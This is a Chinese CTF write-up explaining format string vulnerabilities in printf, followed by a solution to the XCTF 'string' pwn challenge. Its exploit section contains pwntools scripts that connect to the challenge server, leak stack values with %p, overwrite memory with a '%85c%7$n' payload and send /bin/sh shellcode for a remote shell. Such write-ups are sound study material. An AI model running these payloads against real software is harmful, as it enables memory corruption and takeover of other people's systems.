热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

CTFPWN笔记(二)格式化字符串漏洞

文章目录漏洞介绍格式化字符串的格式漏洞原理及利用例题漏洞介绍格式化字符串(英语:formatstring)是一些程序设计语言的输入输出库中能将字符串参数转换为另一种形式输出的函数。




文章目录


  • 漏洞介绍
  • 格式化字符串的格式
  • 漏洞原理及利用
  • 例题


漏洞介绍

格式化字符串(英语:format string)是一些程序设计语言的输入/输出库中能将字符串参数转换为另一种形式输出的函数。例如C、C++等程序设计语言的printf类函数,其中的转换说明(conversion specification)用于把随后对应的0个或多个函数参数转换为相应的格式输出;格式化字符串中转换说明以外的其它字符原样输出。

格式化字符串函数可以接受可变数量的参数,并将第一个参数作为格式化字符串,根据其来解析之后的参数。

通俗来说,格式化字符串函数就是将计算机内存中表示的数据转化为我们人类可读的字符串格式。几乎所有的 C/C++ 程序都会利用格式化字符串函数来输出信息,调试程序,或者处理字符串。一般来说,格式化字符串在利用的时候主要分为三个部分

格式化字符串函数
格式化字符串
后续参数,可选

在这里插入图片描述函数原型:

int printf (“格式化字符串”,参量… )
函数的返回值是正确输出的字符的个数,如果输出失败,返回负值。
参量表中参数的个数是不定的。

常见的有格式化字符串函数有:
输入函数:
scanf()
输出函数:


函数基本介绍
printf输出到 stdout
fprintf输出到指定 FILE 流
vprintf根据参数列表格式化输出到 stdout
vfprintf根据参数列表格式化输出到指定 FILE 流
sprintf输出到字符串
snprintf输出指定字节数到字符串
vsprintf根据参数列表格式化输出到字符串
vsnprintf根据参数列表格式化输出指定字节到字符串
setproctitle设置 argv
syslog输出日志
err, verr, warn, vwarn 等

格式化字符串的格式

%[parameter][flags][field width][.precision][length]type

parameter
Parameter可以忽略或者是:


n$,n是用这个格式说明符(specifier)显示第几个参数;这使得参数可以输出多次,使用多个格式说明符,以不同的顺序输出。
如果任意一个占位符使用了parameter,则其他所有占位符必须也使用parameter。
例如:
printf("%2$d %2$#x; %1$d %1$#x",16,17)产生"17 0x11; 16 0x10"


flag
Flags可为0个或多个:
在这里插入图片描述

field width
输出的最小宽度
precision
输出的最大长度


对于d、i、u、x、o的整型数值,是指最小数字位数,不足的位要在左侧补0,如果超过也不截断,缺省值为1。对于a,A,e,E,f,F的浮点数值,是指小数点右边显示的数字位数,必要时四舍五入或补0。


length,指出浮点型参数或整型参数的长度,
需要注意:

hh,输出一个字节
h,输出一个双字节

type

d/i,有符号整数
u,无符号整数
x/X,16 进制 unsigned int 。x 使用小写字母;X 使用大写字母。如果指定了精度,则输出的数字不足时在左侧补 0。默认精度为 1。精度为 0 且值为 0,则输出为空。
o,8 进制 unsigned int 。如果指定了精度,则输出的数字不足时在左侧补 0。默认精度为 1。精度为 0 且值为 0,则输出为空。
s,如果没有用 l 标志,输出 null 结尾字符串直到精度规定的上限;如果没有指定精度,则输出所有字节。如果用了 l 标志,则对应函数参数指向 wchar_t 型的数组,输出时把每个宽字符转化为多字节字符,相当于调用 wcrtomb 函数。
c,如果没有用 l 标志,把 int 参数转为 unsigned char 型输出;如果用了 l 标志,把 wint_t 参数转为包含两个元素的 wchart_t 数组,其中第一个元素包含要输出的字符,第二个元素为 null 宽字符。
p, void * 型,输出对应变量的值。printf("%p",a) 用地址的格式打印变量 a 的值,printf("%p", &a) 打印变量 a 所在的地址。
n,不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。
%, '%'字面值,不接受任何 flags, width。


漏洞原理及利用

格式化字符串函数是根据格式化字符串来进行解析的。那么相应的要被解析的参数的个数也自然是由这个格式化字符串所控制。比如说%s表明我们会输出一个字符串参数。

我们在此举一个例子:

在这里插入图片描述对于这样的例子,在进入 printf 函数的之前 (即还没有调用 printf),栈上的布局由高地址到低地址依次如下;
在这里插入图片描述

(这里我们假设 3.14 上面的值为某个未知的值。)

在进入 printf 之后,函数首先获取第一个参数,一个一个读取其字符会遇到两种情况:

当前字符不是 %,直接输出到相应标准输出。
当前字符是 %, 继续读取下一个字符
如果没有字符,报错
如果下一个字符是 %, 输出 %
否则根据相应的字符,获取相应的参数,对其进行解析并输出

那么假设,此时我们在编写程序时候,写成了下面的样子:

printf("Color %s, Number %d, Float %4.2f");

此时我们可以发现我们并没有提供参数,那么程序会如何运行呢?程序照样会运行,会将栈上存储格式化字符串地址上面的三个变量分别解析为

1.解析其地址对应的字符串
2.解析其内容对应的整形值
3.解析其内容对应的浮点值

其中,如果1处地址是一个不可访问的地址,就会导致程序崩溃。


比如我们输入若干个%s就会导致程序崩溃,因为栈上不可能每个值都对应合法的地址。
%s%s%s%s%s%s%s%s%s%s%s%s%s%s


我们还可以利用格式化字符串漏洞来获取我们想要知道的内容:
比如:

泄露栈内存
获取某个变量的值
获取某个变量对应地址的内存
泄露任意地址内存
利用 GOT 表得到 libc 函数地址,进而获取 libc,进而获取其它 libc 函数地址
盲打,dump 整个程序,获取有用信息。

利用参考博客:
https://blog.csdn.net/qq_43394612/article/details/84900668

https://zhuanlan.zhihu.com/p/147542190


例题

本处例题为攻防世界题目string
https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5056&page=1

检查文件保护机制:
在这里插入图片描述
IDA找主函数:
在这里插入图片描述
进入sub_400D72,
在这里插入图片描述
在sub_400BB9中发现格式化字符串漏洞:
在这里插入图片描述
在sub_400CA6函数中,我们发现了第17行代码是将v1转为一个可执行的函数。我们可以利用这里。
在这里插入图片描述

本题没有出现system函数,所以要在此处写个shellcode.

要运行至此处,要先满足 if ( *a1 == a1[1] )
在这里插入图片描述
a1是前面的v4传入函数的形参,就是个地址。
在这里插入图片描述在这里插入图片描述

a[0]=v4[0]=v3[0]=68 , a[1]=v4[1]=v3[1]=85 。我们要将a[0]和a[1]修改为相同的值。
在这里插入图片描述

可以通过前面提到的格式化字符串漏洞来修改。

函数sub_400BB9()内的v2是我们输入的v4的地址,我们需要知道v2在栈内的位置,这样才能通过 %?$n 向v2指向的地址处写入字符串长度。

我们首先来查看sub_400BB9()栈内情况,sub_400BB9函数在漏洞处要求我们输入wish并打印出来。
在这里插入图片描述

from pwn import *
re = remote('111.200.241.244',62322)
context(arch = 'amd64', os = 'linux', log_level = 'debug')
re.recvuntil('secret[0] is ')
v4_addr = int(re.recvuntil('\n')[:-1], 16)
re.sendlineafter("What should your character's name be:", 'cxk')
re.sendlineafter("So, where you will go?east or up?:", 'east')
re.sendlineafter("go into there(1), or leave(0)?:",'1')
re.sendlineafter("'Give me an address'", str(int(v4_addr)))
re.sendlineafter("And, you wish is:", 'AAAA'+'-%p'*10)
re.recvuntil('I hear it')

在这里插入图片描述
我们观察返回来的数据:

AAAA-0x7f3cf04206a3-0x7f3cf0421780-0x7f3cf01522c0-0x7f3cf0648700-0x7f3cf0648700-0x100000022-0x22ea010-0x2d70252d41414141-0x70252d70252d7025-0x252d70252d70252dI hear it, I hear it…\n’

0x22ea010是v2的内容,因为v2在format(就是许下的愿望wish)的前面一位。v2是栈内第7个参数。

所以wish就写成%85c%7$n

意思是是将85写入栈内第7个参数所指向的地址。

from pwn import *
re = remote("111.200.241.244","62322")
context(arch = 'amd64', os = 'linux' , log_level = 'debug')
re.recvuntil('secret[0] is ')
v4_addr = int(re.recvuntil('\n')[:-1], 16)
re.sendlineafter("What should your character's name be:", 'cxk')
re.sendlineafter("So, where you will go?east or up?:", 'east')
re.sendlineafter("go into there(1), or leave(0)?:", '1')
re.sendlineafter("'Give me an address'", str(int(v4_addr)))
re.sendlineafter("And, you wish is:", '%85c%7$n')
shellcode = asm(shellcraft.sh())
re.sendlineafter("USE YOU SPELL", shellcode)
re.interactive()

获得执行system(“/bin/sh”)汇编代码所对应的机器码: asm(shellcraft.sh())。注意要指明arch和os。

代码的第二段从printf("secret[0] is %x\n", v4, a2); 输出的字符串中,提取v4的地址,注意把末尾的 \n 剔除。

然后代码的第四段Give me an address,注意源代码中 _isoc99_scanf("%ld", &v2);,读入的不是字符串,是int64,是个数字。
我们的整体思路是:

通过格式化字符串漏洞修改v4[0]的值,使之与v4[1]相等。然后读入shellcode并运行。

运行脚本得到结果:
在这里插入图片描述



推荐阅读
  • 向QTextEdit拖放文件的方法及实现步骤
    本文介绍了在使用QTextEdit时如何实现拖放文件的功能,包括相关的方法和实现步骤。通过重写dragEnterEvent和dropEvent函数,并结合QMimeData和QUrl等类,可以轻松实现向QTextEdit拖放文件的功能。详细的代码实现和说明可以参考本文提供的示例代码。 ... [详细]
  • 本文介绍了Linux Shell中括号和整数扩展的使用方法,包括命令组、命令替换、初始化数组以及算术表达式和逻辑判断的相关内容。括号中的命令将会在新开的子shell中顺序执行,括号中的变量不能被脚本余下的部分使用。命令替换可以用于将命令的标准输出作为另一个命令的输入。括号中的运算符和表达式符合C语言运算规则,可以用在整数扩展中进行算术计算和逻辑判断。 ... [详细]
  • Go Cobra命令行工具入门教程
    本文介绍了Go语言实现的命令行工具Cobra的基本概念、安装方法和入门实践。Cobra被广泛应用于各种项目中,如Kubernetes、Hugo和Github CLI等。通过使用Cobra,我们可以快速创建命令行工具,适用于写测试脚本和各种服务的Admin CLI。文章还通过一个简单的demo演示了Cobra的使用方法。 ... [详细]
  • Spring源码解密之默认标签的解析方式分析
    本文分析了Spring源码解密中默认标签的解析方式。通过对命名空间的判断,区分默认命名空间和自定义命名空间,并采用不同的解析方式。其中,bean标签的解析最为复杂和重要。 ... [详细]
  • Linux重启网络命令实例及关机和重启示例教程
    本文介绍了Linux系统中重启网络命令的实例,以及使用不同方式关机和重启系统的示例教程。包括使用图形界面和控制台访问系统的方法,以及使用shutdown命令进行系统关机和重启的句法和用法。 ... [详细]
  • Metasploit攻击渗透实践
    本文介绍了Metasploit攻击渗透实践的内容和要求,包括主动攻击、针对浏览器和客户端的攻击,以及成功应用辅助模块的实践过程。其中涉及使用Hydra在不知道密码的情况下攻击metsploit2靶机获取密码,以及攻击浏览器中的tomcat服务的具体步骤。同时还讲解了爆破密码的方法和设置攻击目标主机的相关参数。 ... [详细]
  • XML介绍与使用的概述及标签规则
    本文介绍了XML的基本概念和用途,包括XML的可扩展性和标签的自定义特性。同时还详细解释了XML标签的规则,包括标签的尖括号和合法标识符的组成,标签必须成对出现的原则以及特殊标签的使用方法。通过本文的阅读,读者可以对XML的基本知识有一个全面的了解。 ... [详细]
  • 如何在服务器主机上实现文件共享的方法和工具
    本文介绍了在服务器主机上实现文件共享的方法和工具,包括Linux主机和Windows主机的文件传输方式,Web运维和FTP/SFTP客户端运维两种方式,以及使用WinSCP工具将文件上传至Linux云服务器的操作方法。此外,还介绍了在迁移过程中需要安装迁移Agent并输入目的端服务器所在华为云的AK/SK,以及主机迁移服务会收集的源端服务器信息。 ... [详细]
  • ShiftLeft:将静态防护与运行时防护结合的持续性安全防护解决方案
    ShiftLeft公司是一家致力于将应用的静态防护和运行时防护与应用开发自动化工作流相结合以提升软件开发生命周期中的安全性的公司。传统的安全防护方式存在误报率高、人工成本高、耗时长等问题,而ShiftLeft提供的持续性安全防护解决方案能够解决这些问题。通过将下一代静态代码分析与应用开发自动化工作流中涉及的安全工具相结合,ShiftLeft帮助企业实现DevSecOps的安全部分,提供高效、准确的安全能力。 ... [详细]
  • 本文介绍了Python高级网络编程及TCP/IP协议簇的OSI七层模型。首先简单介绍了七层模型的各层及其封装解封装过程。然后讨论了程序开发中涉及到的网络通信内容,主要包括TCP协议、UDP协议和IPV4协议。最后还介绍了socket编程、聊天socket实现、远程执行命令、上传文件、socketserver及其源码分析等相关内容。 ... [详细]
  • Linux服务器密码过期策略、登录次数限制、私钥登录等配置方法
    本文介绍了在Linux服务器上进行密码过期策略、登录次数限制、私钥登录等配置的方法。通过修改配置文件中的参数,可以设置密码的有效期、最小间隔时间、最小长度,并在密码过期前进行提示。同时还介绍了如何进行公钥登录和修改默认账户用户名的操作。详细步骤和注意事项可参考本文内容。 ... [详细]
  • 原文地址:https:www.cnblogs.combaoyipSpringBoot_YML.html1.在springboot中,有两种配置文件,一种 ... [详细]
  • 本文介绍了Oracle数据库中tnsnames.ora文件的作用和配置方法。tnsnames.ora文件在数据库启动过程中会被读取,用于解析LOCAL_LISTENER,并且与侦听无关。文章还提供了配置LOCAL_LISTENER和1522端口的示例,并展示了listener.ora文件的内容。 ... [详细]
  • 1,关于死锁的理解死锁,我们可以简单的理解为是两个线程同时使用同一资源,两个线程又得不到相应的资源而造成永无相互等待的情况。 2,模拟死锁背景介绍:我们创建一个朋友 ... [详细]
  • 使用C++编写程序实现增加或删除桌面的右键列表项
    本文介绍了使用C++编写程序实现增加或删除桌面的右键列表项的方法。首先通过操作注册表来实现增加或删除右键列表项的目的,然后使用管理注册表的函数来编写程序。文章详细介绍了使用的五种函数:RegCreateKey、RegSetValueEx、RegOpenKeyEx、RegDeleteKey和RegCloseKey,并给出了增加一项的函数写法。通过本文的方法,可以方便地自定义桌面的右键列表项。 ... [详细]
author-avatar
_____Fmr丶
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有